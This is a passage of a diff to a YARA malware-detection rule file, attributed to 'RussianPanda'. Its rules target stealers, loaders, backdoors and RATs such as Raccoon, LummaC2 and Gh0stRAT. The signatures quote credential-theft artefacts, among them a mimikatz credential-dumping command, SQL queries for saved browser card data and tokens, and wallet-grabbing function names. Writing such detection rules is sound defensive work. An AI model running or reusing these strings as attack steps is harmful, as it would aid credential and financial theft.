) == 0x5A4D and all of them and #s3 > 1000 } -rule RUSSIANPANDA_Garystealer : FILE +rule RUSSIANPANDA_Kaiji_Ares : FILE { meta: - description = "Detects GaryStealer 1-3-2024" + description = "Detects a Variant of Kaiji (Ares) observed during React2Shell exploitation" author = "RussianPanda" - id = "4b0af30e-2cf1-539d-89fa-7e4e32cd6eab" - date = "2024-01-03" - modified = "2024-01-03" - reference = "https://cybersecurity.att.com/blogs/labs-research/behind-the-scenes-jaskagos-coordinated-strike-on-macos-and-windows" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/GaryStealer/garystealer-1-3-2024.yar#L1-L20" + id = "02bcbd60-fc14-5764-a456-061a9a6aea32" + date = "2025-12-08" + modified = "2025-12-09" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Kaiji/mal_linux_kaiji_ares.yar#L1-L13" license_url = "N/A" - hash = "6efa29a0f9d112cfbb982f7d9c0ddfe395b0b0edb885c2d5409b33ad60ce1435" - logic_hash = "f71655d0cb237c08af9c298ec9eec1ae9bd1efd50e26d61afddf9056b6883a15" + hash = "c79fcb6c433d8a613f25b9b4c81c1c2514ac97e9aaae7c7c84a432b2476b5e4e" + logic_hash = "73d1e00deb6e0d3f78ebc8a19b237df5e869237717b62557abbc652efe000155" score = 75 - quality = 79 + quality = 85 tags = "FILE" strings: - $s1 = {72 75 6e 74 69 6d 65 2e 67 6f 70 61 6e 69 63} - $s2 = {4c 6f 63 61 6c 20 49 50 20 41 64 64 72 65 73 73 65 73 3a 5b 70 69 63 6b 2d 66 69 72 73 74 2d 6c 62 20 25 70 5d} - $s3 = {70 65 72 73 69 73 74 61 6E 63 65 20 63 72 65 61 74 65 64} - $s4 = {C7 40 28 ?? 00 00 00} + $s1 = "C:/src/client/linux/ares_tcp.go" + $s2 = {E5 BC BA E5 88 B6 55 64 70} + $s3 = {B0 81 E5 8C 85} condition: - uint16( 0 ) == 0x5A4D and 3 of ( $s* ) and filesize < 20MB and #s4 > 2 + uint32( 0 ) == 0x464c457f and 2 of them } -rule RUSSIANPANDA_Truecrypt_Crypter : FILE +rule RUSSIANPANDA_Johnwalkertexasloader_V2 : FILE { meta: - description = "Detects TrueCrypt crypter" + description = "Detects JohnWalkerTexasLoader (JWTL)" author = "RussianPanda" - id = "3ecf9c2f-6205-5e55-83a5-2b4e3ba89f07" - date = "2024-01-06" - modified = "2024-01-06" + id = "1a05245e-5ee0-5916-801b-4f7f3a573e71" + date = "2024-10-15" + modified = "2024-10-15" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/TrueCrypt/truecrypt_crypter.yar#L1-L27" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/JWTL/JohnWalkerTexasLoader_v2.yar#L1-L16" license_url = "N/A" - hash = "167637397fb45ea19bafcf208d8f27dceec82caa7ab19d40ecdb08eb1b7d4f60" - logic_hash = "68612c68053e9fb81d9616c04b04ac2e2cb685f3b7ed71f8b31e8f22e3a539e7" + hash = "9f6bf0473f5541d84faad4c33a0bc5b1928fceb5938f2d6a7e6e02b7f0980341" + logic_hash = "70cbf6cf0602dc8087f4845451d13d0043872733615050161c077e3346387873" score = 75 quality = 81 tags = "FILE" strings: - $s1_crpt1 = {77 69 6E 65 5F 67 65 74} - $s2_crpt1 = {49 3B 66 10 76} - $s2_crpt2 = {3B 55 48 89 E5 48 83 EC 10 90 8B 0D [22] E8 [3] FF} - $s3_crpt1 = {49 3B 66 10 76 43} - $s3_crpt2 = {55 48 89 E5 48 83 EC 10 [5] E8 [4] 48 85 FF 75 18} - $s4_crpt1 = {40 C0 EE 04 [16] 48 83} - $s4_crpt2 = {FA 20 [0-22] 48 83 FE 20} - $a_crpt = {61 2E 6F 75 74 2E 65 78 65 00 5F 63 67} - $s_crpt = {6F 5F 64 75 6D 6D 79 5F 65 78 70 6F 72 74} + $s1 = {61 00 48 00 52 00 30 00 63 00 48 00 4D 00 36 00 4C 00 79 00 39} + $s2 = {73 65 6E 64 6F 70 65 6E 31} + $s3 = {73 65 6E 64 6F 70 65 6E 32} condition: - uint16( 0 ) == 0x5A4D and $s1_crpt1 and $s2_crpt1 and $s2_crpt2 and $s3_crpt1 and $s3_crpt2 and $s4_crpt1 and $s4_crpt2 and $a_crpt and $s_crpt and filesize < 7MB + uint16( 0 ) == 0x5A4D and all of them } -rule RUSSIANPANDA_Neptune_Loader : FILE +rule RUSSIANPANDA_Johnwalkertexasloader : FILE { meta: - description = "Detects Neptune Loader" + description = "Detects JohnWalkerTexasLoader (JWTL)" author = "RussianPanda" - id = "d576bf47-10bd-55d0-99b0-69c02dc87f17" - date = "2024-01-17" - modified = "2024-01-21" + id = "af91ab47-245b-58f2-a35a-1cb408b2229a" + date = "2024-10-10" + modified = "2024-10-10" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/NeptuneLoader/neptune_loader.yar#L1-L18" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/JWTL/JohnWalkerTexasLoader.yar#L1-L16" license_url = "N/A" - logic_hash = "ca54b8a624d48aa28bc727420f25e6f0fd67b193ac79443a357d88a9fe7cbdbb" + hash = "3784fc39dc5c0dec08ad0a49bbbb990359e313a9fa87e6842fd67ed7cc1c0baa" + logic_hash = "414be3219d12823639d140d132a9bbc2ca7bf8c44d0c560e4a49b76323be3f8a" score = 75 - quality = 81 + quality = 85 tags = "FILE" strings: - $s1 = {8B C6 E8 F4 FB FF FF} - $s2 = {66 33 D1 66 89 54 58 FE} - $s3 = {7C 53 74 61 72 74 75 70 46 6F 6C 64 65 72 7C} - $s4 = {44 65 6C 70 68 69} - $t1 = {C7 [3] 0B 40 40 00 [6] A1 ?? 61 40 00} - $t2 = {C7 ?? 24 00 40 40 00 A1 ?? 61 40 00} - $t3 = {8B ?? ?? FF D0 B8} + $s1 = "?status=1&wallets=" ascii wide + $s2 = "/api.php" ascii wide + $s3 = "/api-debug.php" ascii wide condition: - uint16( 0 ) == 0x5A4D and 3 of ( $s* ) or 2 of ( $t* ) and filesize < 6MB + uint16( 0 ) == 0x5A4D and all of them } -rule RUSSIANPANDA_Mal_Xred_Backdoor : FILE +rule RUSSIANPANDA_Atomic_Stealer : FILE { meta: - description = "Detects XRed backdoor" + description = "Detects Atomic Stealer targering MacOS" author = "RussianPanda" - id = "61f5fcb8-9351-5db0-8bce-123c96d2a443" - date = "2024-02-09" - modified = "2024-02-09" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/XRed_Backdoor/mal_xred_backdoor.yar#L1-L18" + id = "259c5c33-0164-568f-aec4-4fe0a2c6d015" + date = "2024-01-13" + modified = "2024-01-17" + reference = "https://www.bleepingcomputer.com/news/security/macos-info-stealers-quickly-evolve-to-evade-xprotect-detection/" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AtomicStealer/Atomic_Stealer.yar#L1-L27" license_url = "N/A" - hash = "9e1fbae3a659899dde8db18a32daa46a" - logic_hash = "36d138a0efade1d5c075662dc528235fe66b49879730db78c4c7290fec7420b5" + hash = "dd8aa38c7f06cb1c12a4d2c0927b6107" + logic_hash = "7601e508aeccba943b54e675212993920c984271f655e68c19efaf6d12cfebd5" score = 75 - quality = 73 + quality = 58 tags = "FILE" strings: - $s1 = {4B 65 79 62 6F 61 72 64 20 48 6F 6F 6B 20 2D 3E 20 41 63 74 69 76 65} - $s2 = {54 43 50 20 43 6C 69 65 6E 74 20 2D 3E 20 41 6B 74 69 66} - $s3 = {55 53 42 20 48 6F 6F 6B 73 20 2D 3E 20 41 63 74 69 76 65} - $s4 = {45 58 45 55 52 4C 31} - $s5 = {49 4E 49 55 52 4C 33} - $s6 = {58 52 65 64 35 37} + $s1 = {8B 09 83 C1 (01|02|04|05|03) 39 C8 0F 85 38 00 00 00 48 8B 85} + $s2 = {C7 40 04 00 00 00 00 C6 40 08 00 C6 40 09 00} + $t1 = {80 75 D?} + $t2 = {0F 57 05 ?? 1B 01 00} + $t3 = {8A 06 34 DE 88 07 8A 46 01 34 DF 88 47 01} + $c1 = {28 ?? 40 39} + $c2 = {64 65 73 6B 77 61 6C 6C 65 74 73} condition: - uint16( 0 ) == 0x5A4D and 3 of them + ( uint32( 0 ) == 0xfeedface or uint32( 0 ) == 0xcefaedfe or uint32( 0 ) == 0xfeedfacf or uint32( 0 ) == 0xcffaedfe or uint32( 0 ) == 0xcafebabe or uint32( 0 ) == 0xbebafeca ) and all of ( $s* ) and #s1 > 60 and #s2 > 100 or ( all of ( $t* ) and #t1 > 10 and #t2 > 5 ) or ( #c1 > 200 and $c2 ) } -rule RUSSIANPANDA_AMOS_Stealer : FILE +rule RUSSIANPANDA_Raccoonstealer : FILE { meta: - description = "Detects AMOS Stealer" + description = "Detects Raccoon Stealer v2.3.1.1" author = "RussianPanda" - id = "f2abe03e-7a29-514d-9125-9ec9d0875179" - date = "2025-03-31" - modified = "2025-04-11" + id = "29f28cd5-370b-5831-8b71-a253f468f7e4" + date = "2024-01-08" + modified = "2024-01-08" + reference = "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-raccoon-stealer-v2-0" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/RaccoonStealer_v2/raccoonstealer_v2.3.1.1.yar#L1-L20" + license_url = "N/A" + hash = "c6d0d98dd43822fe12a1d785df4e391db3c92846b0473b54762fbb929de6f5cb" + logic_hash = "ee2b39c1c2068b97e63a03330a2f9e2f12e53aaf9cfffb274acde2372a11fe45" + score = 75 + quality = 85 + tags = "FILE" + + strings: + $s1 = {8B 0D [2] 41 00 A3 [3] 00} + $s2 = "MachineGuid" + $s3 = "SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards" + $s4 = "SELECT service, encrypted_token FROM token_service" + $s5 = "&configId=" + $s6 = "machineId=" + + condition: + all of ( $s* ) and #s1 > 10 and uint16( 0 ) == 0x5A4D and filesize < 5MB +} +rule RUSSIANPANDA_Raccoonstealerv2 : FILE +{ + meta: + description = "Detects the latest unpacked/unobfuscated build 2.1.0-4" + author = "RussianPanda" + id = "eda6216a-219b-5f60-8084-4c0c240a4cb4" + date = "2023-04-17" + modified = "2023-05-05" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AMOS/amos_stealer.yar#L1-L24" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/RaccoonStealer_v2/raccoonstealerv2_2.1.0-4_build.yar#L1-L14" license_url = "N/A" - hash = "55663778a8c593b77a82ea1be072c73dd6a1d7a9567bbfbfad7d3dec9f672996" - logic_hash = "64bf0753e2696633ed255df9350a01cb1e75fd6e6c0d4fe48194927acf7e2363" + logic_hash = "e2226f08753a3571045953363c04ec52de3c79cd0cd29e7ecb6afaf2ad573e4e" + score = 50 + quality = 85 + tags = "FILE" + + strings: + $pattern1 = {B9 ?? ?? ?? 00 E8 ?? ?? ?? 00 ?? ?? 89 45 E8} + $pattern2 = {68 ?? ?? ?? 00 ?? 68 01 00 1F 00} + $pattern3 = {68 ?? ?? ?? 00 ?? ?? 68 01 00 1F 00 FF 15 64 ?? ?? 00} + $m1 = {68 ?? ?? ?? 00 ?? 00 68 01 00 1f 00 ff 15 64 ?? ?? 00} + $m2 = {68 ?? ?? ?? 00 ?? 68 01 00 1f 00 ff 15 64 ?? ?? 00} + + condition: + 2 of ( $pattern* ) and uint16( 0 ) == 0x5A4D and 1 of ( $m* ) and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 200KB +} +rule RUSSIANPANDA_Gh0Strat : FILE +{ + meta: + description = "Detects Gh0stRAT" + author = "RussianPanda" + id = "db310549-feed-57b8-9ec0-232b6eda62f9" + date = "2024-07-09" + modified = "2024-07-09" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Gh0stRAT/Gh0stRAT.yar#L1-L14" + license_url = "N/A" + hash = "678b06ecdbc9b186788cf960332566f9" + logic_hash = "bc4bdad83a0e23273774c3d4812cabe9fa44897c8ff2e308004e03b4f1622cd5" score = 75 quality = 85 tags = "FILE" strings: - $op1 = {E8 ?? ?? ?? ?? E9 00 00 00 00 48 8D} - $op2 = {48 3B 85 68 FF FF FF 0F 83 03 01 00 00 C6 85 5F FF FF FF 00 C7 85 58 FF FF FF 00 00 00 00} + $s1 = "SAM\\SAM\\Domains\\Account\\Users\\Names\\%s" + $s2 = "GetMP privilege::debug sekurlsa::logonpasswords exit" + $s3 = "Http/1.1 403 Forbidden" + $s4 = "WinSta0\\Default" condition: - ( uint32( 0 ) == 0xfeedface or uint32( 0 ) == 0xcefaedfe or uint32( 0 ) == 0xfeedfacf or uint32( 0 ) == 0xcffaedfe or uint32( 0 ) == 0xcafebabe or uint32( 0 ) == 0xbebafeca or uint32( 0 ) == 0xcafebabf or uint32( 0 ) == 0xbfbafeca ) and ( #op1 > 5000 and $op2 ) + uint16( 0 ) == 0x5A4D and all of them +} +rule RUSSIANPANDA_Zharkbot : FILE +{ + meta: + description = "Detects ZharkBot" + author = "RussianPanda" + id = "54213d76-7e27-559d-b653-5390a0c6813c" + date = "2024-01-21" + modified = "2024-03-12" + reference = "https://x.com/ViriBack/status/1749184882822029564?s=20" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ZharkBot/zharkbot.yar#L1-L15" + license_url = "N/A" + hash = "d53ce8c0a8a89c2e3eb080849da8b1c47eaac614248fc55d03706dd5b4e10bdd" + logic_hash = "ffaec6b19dd4385cd1bc156fdfde39a356367c7fba4135c48a8de62a18a78576" + score = 75 + quality = 85 + tags = "FILE" + + strings: + $s1 = {F7 EA C1 FA 04 8B C2 C1 E8 1F 03 C2 8B 55 ?? 0F BE C0 8A CA 6B C0 ?? 2A C8 80 C1} + $s2 = {F7 E2 C1 EA 04 0F BE C2 8B 55 ?? 8A CA 6B C0 ?? 2A C8 80 C1 ?? 30 8C 15} + + condition: + uint16( 0 ) == 0x5A4D and #s1 > 3 and #s2 > 3 and filesize < 500KB } -rule RUSSIANPANDA_AMOS_Stealer_1 : FILE +rule RUSSIANPANDA_Zharkbot_1 : FILE { meta: - description = "Detects AMOS Stealer" + description = "Detects ZharkBot, version 1.2.5" author = "RussianPanda" - id = "481c0abc-efa6-5965-a5b8-0164229130e1" - date = "2025-04-11" - modified = "2025-04-11" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AMOS/amos_stealer_4_25.yar#L1-L24" + id = "e20875ed-a0a1-5ac8-8758-33766c522c17" + date = "2024-09-02" + modified = "2024-09-03" + reference = "https://research.openanalysis.net/zharkbot/triage/x64dbg/2024/09/02/zharkbot-config.html" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ZharkBot/Zharkbot.yar#L1-L15" license_url = "N/A" - hash = "55663778a8c593b77a82ea1be072c73dd6a1d7a9567bbfbfad7d3dec9f672996" - logic_hash = "dffaf67bdfb8db07f69fb00720a6638e7a89db2acc1d848d635031a0aec5bdd3" + hash = "1aa0622a744ec4d28a561bac60ec5e907476587efbadfde546d2b145be4b8109" + logic_hash = "fded6a0c7af4fda13619778669ef619f88b43e12f12284a3c551c4fddac01024" score = 75 quality = 85 tags = "FILE" strings: - $op1 = {E8 ?? ?? ?? ?? EB 00 48 8D} - $op2 = {48 8D BD ?? ?? FF FF E8 ?? ?? 00 00 48 8D BD} + $s1 = "^[a-z]{8}$" + $s2 = "^d{6}$" condition: - ( uint32( 0 ) == 0xfeedface or uint32( 0 ) == 0xcefaedfe or uint32( 0 ) == 0xfeedfacf or uint32( 0 ) == 0xcffaedfe or uint32( 0 ) == 0xcafebabe or uint32( 0 ) == 0xbebafeca or uint32( 0 ) == 0xcafebabf or uint32( 0 ) == 0xbfbafeca ) and ( #op1 > 50000 and #op2 > 4 ) + uint16( 0 ) == 0x5A4D and all of them and filesize < 500KB } -rule RUSSIANPANDA_Mal_Cleanuploader : FILE +rule RUSSIANPANDA_Peerblight : FILE { meta: - description = "Detects CleanUpLoader" + description = "Detects PeerBlight backdoor" author = "RussianPanda" - id = "fc75fed2-0f8c-55c9-bd10-efe95a678f31" - date = "2024-02-14" - modified = "2024-02-14" - reference = "https://x.com/AnFam17/status/1757871703282077857?s=20" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/CleanUpLoader/mal_cleanuploader.yar#L1-L14" + id = "8fdae13c-0a81-517d-9f6d-667c5db59621" + date = "2025-12-07" + modified = "2025-12-07" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/PeerBlight/linux_mal_PeerBlight.yar#L1-L16" license_url = "N/A" - hash = "2b62dd154b431d8309002d5b4a35de07" - logic_hash = "a9267c568c11420e36f0781469aa7d932c87d52707981912558eb0f4f84f673a" + hash = "a605a70d031577c83c093803d11ec7c1e29d2ad530f8e95d9a729c3818c7050d" + logic_hash = "5bc60656c333c63aa869c1c94bbb2aa2802c4132ab988a08b50aad146ca6a23e" score = 75 - quality = 83 + quality = 60 tags = "FILE" strings: - $s1 = {0F B6 80 30 82 42 00 88} - $s2 = {44 69 73 6B 43 6C 72} - $s3 = {49 00 6E 00 73 00 74 00 61 00 6C 00 6C 00 20 00 45 00 64 00 67 00 65} + $s1 = "/bin/systemd-daemon" + $s2 = "/lib/systemd/system/systemd-agent.service" + $s3 = "group" + $s4 = "tag" + $s5 = "arch" + $s6 = "softirq" condition: - uint16( 0 ) == 0x5A4D and all of them and #s1 > 15 + uint32( 0 ) == 0x464c457f and 5 of them } -rule RUSSIANPANDA_Mal_Msedge_Dll_Virusloader : FILE +rule RUSSIANPANDA_Lummac2 : FILE { meta: - description = "Detects malicious msedge.dll file" + description = "Detects LummaC2 Stealer" author = "RussianPanda" - id = "7139ee30-de9a-5ef0-a96f-2ab9c239c6ff" - date = "2024-01-19" - modified = "2024-01-19" - reference = "https://blog.phylum.io/npm-package-found-delivering-sophisticated-rat/" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/virusloader/mal_msedge_dll_virusloader.yar#L1-L16" + id = "94d6b63f-066e-59d2-9d14-24c5d5219ba8" + date = "2024-09-12" + modified = "2024-09-12" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/LummaC2/LummaC2.yar#L1-L14" license_url = "N/A" - hash = "ab2e3b07170ef1516af3af0d03388868" - logic_hash = "659fd5fa3121fec5bf4cceb6f3dea95bf4cbcde7441d6f11c35288d8ad75a803" + hash = "988f54f9694dd1ae701bacec3b83c752" + logic_hash = "875709f48ff93c8e986f3c1d2e32268bf3458d870082072e7727d8ec85b1a021" score = 75 quality = 85 tags = "FILE" strings: - $s1 = {C6 85 ?? FE FF FF ?? C6} - $s2 = {C7 85 ?? FD FF FF} - $s3 = {BF 60 01 00 00 [18] 30 04 39 41} + $s1 = {0F B6 [2-6] 83 ?? 1F} + $s2 = {F3 A5 8B 74 24 F8 8B 7C 24 F4 8D 54 24 04 FF 54 24 FC C3} condition: - uint16( 0 ) == 0x5A4D and all of ( $s* ) and #s1 > 30 and #s2 > 30 and filesize < 300KB + uint16( 0 ) == 0x5A4D and all of them } -rule RUSSIANPANDA_Gh0Strat : FILE +rule RUSSIANPANDA_Win_Mal_Pregrabber : FILE { meta: - description = "Detects Gh0stRAT" + description = "Detects Pregrabber Plugin" author = "RussianPanda" - id = "db310549-feed-57b8-9ec0-232b6eda62f9" - date = "2024-07-09" - modified = "2024-07-09" + id = "a7e5bf1d-b25e-5c46-b191-ee7de13b24e5" + date = "2025-02-13" + modified = "2025-02-14" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Gh0stRAT/Gh0stRAT.yar#L1-L14" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/UNC4108/win_mal_PreGrabber.yar#L1-L17" license_url = "N/A" - hash = "678b06ecdbc9b186788cf960332566f9" - logic_hash = "bc4bdad83a0e23273774c3d4812cabe9fa44897c8ff2e308004e03b4f1622cd5" + hash = "f39319312a567fa771921d11ece66f3ce8996ba45f90d6fc89031b621535eb7e" + logic_hash = "4fcf9c71d7e6b8b571f8452a19ccf0be6153def54ce6148915535a54711b0ff0" score = 75 - quality = 85 + quality = 60 tags = "FILE" strings: - $s1 = "SAM\\SAM\\Domains\\Account\\Users\\Names\\%s" - $s2 = "GetMP privilege::debug sekurlsa::logonpasswords exit" - $s3 = "Http/1.1 403 Forbidden" - $s4 = "WinSta0\\Default" + $s1 = "msgPack" + $s2 = "HandlePreGrabber" + $s3 = "bdos" + $s4 = "uniqueid" + $s5 = "mtx" + $s6 = "install" + $s7 = "mscoree.dll" condition: uint16( 0 ) == 0x5A4D and all of them } -rule RUSSIANPANDA_Weyhroc2 : FILE +rule RUSSIANPANDA_Win_Mal_Chromium_App_Bound_Encryption_Decrypter : FILE { meta: - description = "Detects Weyhro C2" + description = "Detects Potential Chromium app_bound_encryption key Decrypter" author = "RussianPanda" - id = "228bc7be-ebe0-5dcd-aaf3-be0bf5aa6e1b" - date = "2025-12-04" - modified = "2025-12-05" - reference = "https://x.com/RussianPanda9xx/status/1996258417476837746?s=20" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/WeyhroC2/win_mal_weyhroc2.yar#L1-L15" + id = "f3c500cb-52d1-5e89-a927-36da6246d2cb" + date = "2025-02-13" + modified = "2025-02-14" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/UNC4108/win_mal_Chromium_app_bound_encryption_Decrypter.yar#L1-L26" license_url = "N/A" - hash = "ec4ab4e4d700c9e5fdda59eb879a2bf18d0eefd825539d64677144d43a744cee" - logic_hash = "fe15c701afd3f7bc6ecd0f1d228f158f4cec5d0ad8932f0014e4d78ca7427f43" + hash = "0f4dcfd8c9ada67a9b41033fc715d370399fd74ca94dbb8a1ea45b3785c88d02" + logic_hash = "e871c9a6762c38baeed287e9350530c2c3cd02333b1830210ef74c258bd223b9" score = 75 quality = 85 tags = "FILE" strings: - $s1 = "AMSI patch skipped" - $s2 = "AMSI patched successfully" - $s3 = "IAT unhook successful" - $s4 = "Inline unhook successful" + $op_chr_1 = {E0 60 88 70 41 F6 11 46} + $op_chr_2 = {88 95 7D 86 7D D3 67 5B} + $op_chr_3 = {CF BE 3A 46 0D 41 7F 40} + $op_chr_4 = {8A F5 0D F3 5A 00 5C C8} + $op_br_1 = {AF 31 6B 57 69 63 6B 4B} + $op_br_2 = {85 60 E4 B2 03 A9 7A 8B} + $op_br_3 = {1E 86 96 F3 8E 0C 71 4C} + $op_br_4 = {82 56 2F AE 6D 75 9C E9} + $op_edg_1 = {6C E9 CB 1F 97 16 AF 43} + $op_edg_2 = {91 40 28 97 C7 C6 97 67} + $op_edg_3 = {07 B8 C2 C9 31 77 34 4F} + $op_edg_4 = {81 B7 44 FF 77 79 52 2B} + $riid1 = {CF BE 3A 46 0D 41 7F 40 8A F5 0D F3 5A 00 5C C8} + $riid2 = {1E 86 96 F3 8E 0C 71 4C 82 56 2F AE 6D 75 9C E9} + $dll1 = "CoCreateInstance" + $dll2 = "CoInitializeEx" condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and all of ( $dll* ) and all of ( $riid* ) and 8 of ( $op_* ) } -rule RUSSIANPANDA_Supperbackdoor +rule RUSSIANPANDA_Win_Mal_Formgrabber : FILE { meta: - description = "Detects Supper backdoor" + description = "Detects Formgrabber Plugin" author = "RussianPanda" - id = "bd2752c3-1072-5151-9bb9-dd094feb0772" - date = "2025-10-31" - modified = "2025-11-02" + id = "818405a9-4348-5c4a-a4d1-e35b4f525e25" + date = "2025-02-13" + modified = "2025-02-14" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/VanillaTempest/win_mal_SupperBackdoor.yar#L1-L14" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/UNC4108/win_mal_Formgrabber.yar#L1-L14" license_url = "N/A" - hash = "bf2ba1f30ef8ca6f9946f6ec21118eff3c3442590bbedea150e2d670e78ab986" - logic_hash = "85577822ecb065a32fe9c0c3ce2e2d7892c263e6a21afc56a9f0a1dbe5218abe" + hash = "33ea72b46af7bb2ecc0775f7536d3259f34bd7a13e298cac66649ee694097c2e" + logic_hash = "649e2a5b018b79d3d8534baf8432924f7ee197f26aebbfd384dd613c31d1b035" score = 75 quality = 85 - tags = "" + tags = "FILE" strings: - $s1 = "[DEBUG MAIN SOCKS] Starting Init SOCKS" - $s2 = "fail send data to target" - $s3 = "serv disconnect" - $s4 = "cmd.exe /C ping 1.1.1.1 -n 1 -w 3000" + $s1 = "frmgrb" + $s2 = "WebfakeRecords" + $s3 = "urlblocklist" + $s4 = "mscoree.dll" condition: - all of them + uint16( 0 ) == 0x5A4D and all of them } -rule RUSSIANPANDA_Textshell : FILE +rule RUSSIANPANDA_Win_Mal_Mmgrabber : FILE { meta: - description = "Detects TextShell Obfsucator" + description = "Detects mmgrabber Plugin" author = "RussianPanda" - id = "48fe49be-a76e-5e6c-a69f-acbe73f4d175" - date = "2025-10-31" - modified = "2025-11-02" + id = "9d16282e-0cf3-527c-89df-51ae0d156e70" + date = "2025-02-13" + modified = "2025-02-14" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/VanillaTempest/win_mal_TextShell.yar#L1-L13" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/UNC4108/win_mal_mmgrabber.yar#L1-L14" license_url = "N/A" - hash = "cf44aa11a17b3dad61cae715f4ea27c0cbf80732a1a7a1c530a5c9d3d183482a" - logic_hash = "c8f84d7160d8cb3b76d06170af09c921893b6f4cd073a10b399d8f51199cef40" + hash = "40ebd719aa66a88e261633887ed4e2c144bd11fbcc6f7793f9b32652cc5bf2d3" + logic_hash = "149c81b3c1a33933da0c181b8e8a90f40ba5fd8961d6340470790eb375c9695b" score = 75 quality = 85 tags = "FILE" strings: - $s1 = {41 8B 04 84 48 03 ?? EB} - $s2 = {41 3B ?? 74 ?? FF C3 3B 5D 18 72} - $s3 = {FF 15 ?? ?? ?? ?? 48 8B} + $s1 = "GrabDesktopWallets" + $s2 = "GrabChromeExtensions" + $s3 = "FindExodusFolder" + $s4 = "mscoree.dll" condition: - uint16( 0 ) == 0x5A4D and all of them and #s3 > 1000 + uint16( 0 ) == 0x5A4D and all of them } -rule RUSSIANPANDA_Win_Mal_Mpxdropper : FILE +rule RUSSIANPANDA_Win_Mal_Ghostweaver : FILE { meta: - description = "Detects MpxDropper" + description = "Detects GhostWeaver backdoor" author = "RussianPanda" - id = "26ee0a12-c727-5953-8ebb-dd8a8d772561" - date = "2024-03-01" - modified = "2024-03-01" + id = "febabd9a-b738-5ed8-b605-4bbef86ce8ac" + date = "2025-02-15" + modified = "2025-02-15" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/MpxDropper/mal_win_MpxDropper.yar#L1-L11" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/UNC4108/win_mal_GhostWeaver.yar#L1-L13" license_url = "N/A" - hash = "3a44a45afbfe5fc7cdeb3723e05c4e892b079abdb7d1e8d6fc70496ef0a14d5d" - logic_hash = "e8d2672553c7f44e1cc177fad6596bd58b5c32a7541f91ce1207e6b21ef6e52d" + hash = "5051f0aa11da67e16797daa51992467ad45c5bf18dcd2e252e8aa63d3fce31bc" + logic_hash = "6901fa0e7d5a911a0029536ac38d9a2a248fa72126114b10ea941cc8b4329d12" score = 75 - quality = 83 + quality = 85 tags = "FILE" strings: - $s1 = {43 3a 5c 55 73 65 72 73 5c 6d 70 78 31 36 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73} + $s1 = "$global:keystr" + $s2 = "stub" + $s3 = "ForEach-Object" condition: - uint16( 0 ) == 0x5A4D and all of them + all of them and filesize < 1MB and @s3 > 100 } -rule 